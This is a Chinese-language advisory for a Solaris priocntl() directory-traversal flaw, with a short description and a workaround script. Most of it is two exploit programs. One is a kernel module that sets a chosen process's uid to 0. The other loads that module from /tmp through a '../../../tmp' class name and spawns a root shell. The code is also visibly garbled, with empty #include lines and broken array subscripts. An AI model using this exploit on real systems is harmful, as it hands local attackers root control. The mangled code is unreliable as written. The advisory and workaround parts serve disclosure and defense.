涉及程序: Sun Solaris priocntl 系统调用 描述: Sun Solaris priocntl 系统调用目录遍历缺陷 详细: Sun Solaris 中的系统调用函数 priocntl( )用于在进程间进行切换控制,其调用方法如下: long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...); 在\`cmd\`参数被设置为PC_GETCID时,会加载第四个参数所指定的模块,但是由于priocntl( )在调用模块时没有进行任何权限的检查。本地攻击者利用此缺陷,无需 root 权限即可指定加载任意内核模块,或在核心态下执行任意指令。 priocntl系统调用加载内核模块的缺省路径是 kernel/sched 和 /usr/kernel/sched(除非你在/etc/system文件中指定其它路径),虽然通常这两个路径只有root权限可读,不能写这两个目录来指定自己的模块,但是,由于priocntl( )对\`../\`字符缺乏正确过滤,可导致本地攻击者利用此缺陷指定任意目录中的模块进行装载,或在核心态下执行任意指令。 受影响系统: Sun Solaris 9.0 Sun Solaris 8.0_x86 Sun Solaris 8.0 Sun Solaris 7.0_x86 Sun Solaris 7.0 Sun Solaris 2.6_x86 Sun Solaris 2.6sparc Sun Solaris 2.5.1 Sun Solaris 2.5 攻击方法: 测试程序(1): /* the module find the user\`s proccess\`s cred struct change it\`s owner uid to 0(root) this code can work properly in any conditions */ #include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef unsigned int DWORD; DWORD ptree<20>={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff}; /* * This is the loadable module wrapper. */ #include
int _info(struct modinfo *modinfop) { return -1; } int _init(void) { proc_t *current,*pp; pid_t rec; int i,cnt; for(i=0;ptree
!=0xffffffff;i++); cnt=i; cmn_err(CE_NOTE ,\"Get Su: cnt=%d\", cnt); current=curproc; while(current->p_pidp->pid_id!=0) current=current->p_parent; pp=current; for(i=0;i
p_child; cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree
); while(pp!=0) { if(pp->p_pidp->pid_id==ptree) break; pp=pp->p_sibling; } if(pp==0) goto ERR; } if(pp!=0) { pp->p_cred->cr_ruid=0; pp->p_cred->cr_uid=0; cmn_err(CE_NOTE ,\"Get Su: %d\", pp->p_pidp->pid_id); cmn_err(CE_NOTE ,\"Get Su: %d\", pp->p_cred->cr_ruid); cmn_err(CE_NOTE ,\"Get Su: %d\", pp->p_cred->cr_uid); } ERR: cmn_err(CE_NOTE ,"Get Su: not found"); return -1; } 测试程序(2): /* the module find the user`s proccess`s cred struct change it`s owner uid to 0(root) this code can work properly in any conditions Links: support@catdogsoft.com http://www.catdogsoft.com/S8EXP/ Reference: jerryhj@yeah.net http://www.hacker.com.cn/newbbs/dispbbs.asp?boardID=8&RootID=23110&ID=23110 */ #include
#include
#include
#include
#include
#include
#include
#include
#define OFFSET 0x2dc #define OFFSET64 0x39c pid_t getpppid(pid_t pid) { psinfo_t psinf; int fd; char buf<256>; sprintf(buf, "/proc/%d/psinfo", pid); fd=open(buf,0); if(fd!=-1) { read(fd, &psinf, sizeof(psinfo_t)); close(fd); } return psinf.pr_ppid; } void Load(int m64) { pcinfo_t pcinfo; if(!m64) strcpy(pcinfo.pc_clname, "../../../tmp/flkm32"); if(m64) strcpy(pcinfo.pc_clname, "../../../tmp/flkm64"); priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo); } main(int argc,char *argv<>) { pid_t pid; pid_t ptree<20>, *pptree; int i,j,k; int fd; int m64=0; if(argc==2) { if(atoi(argv<1>)==64) m64=1; } printf("is 64 bit: %d\n",m64); pid=getpid(); memset(ptree, 0, 20*sizeof(pid_t)); ptree<0>=pid; for(i=1;i<20;i++) { pid=getpppid(pid); if(pid==0) break; ptree
=pid; } pptree=(pid_t *)malloc((i+1)*sizeof(pid_t)); k=0; for(j=19;j>=0;j--) { if(ptree
==0) continue; //printf("%d %x\n", ptree
, ptree
); pptree
=ptree
; k++; } pptree
=0xffffffff; if(!m64) system("cp -f flkm32 /tmp/flkm32"); if(m64) mkdir("/tmp/sparcv9",0777); if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64"); if(!m64) fd=open("/tmp/flkm32",2); if(m64) fd=open("/tmp/sparcv9/flkm64",2); if(fd!=-1){ if(!m64) lseek(fd, OFFSET, SEEK_SET); if(m64) lseek(fd, OFFSET64, SEEK_SET); printf("%d bytes to write\n", i*sizeof(pid_t)); k=write(fd, pptree, i*sizeof(pid_t)); printf("%d bytes wroten\n", k); close(fd); }else{ printf("err! open flkm error!\n"); exit(-1); } free(pptree); Load(m64); printf("id=%d\n", k=getuid()); if(!m64) { system("rm -fr /tmp/flkm32"); } if(m64) { system("rm -fr /tmp/sparcv9"); } if(k==0) { printf("SUCCESS! Enjoy RootShell!\n"); execl("/bin/sh","sh",NULL); }else{ printf("fail!\n"); } } 解决方案: 目前厂商还没有提供补丁或者升级程序,建议用户随时关注厂商站点: http://sunsolve.sun.com/security 临时解决方案: * 由于"pc_clname<>\"参数限制了大小,用下面的脚本可以防止这个特殊缺陷 for dir in /kernel /usr/kernel do cd $dir mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched . done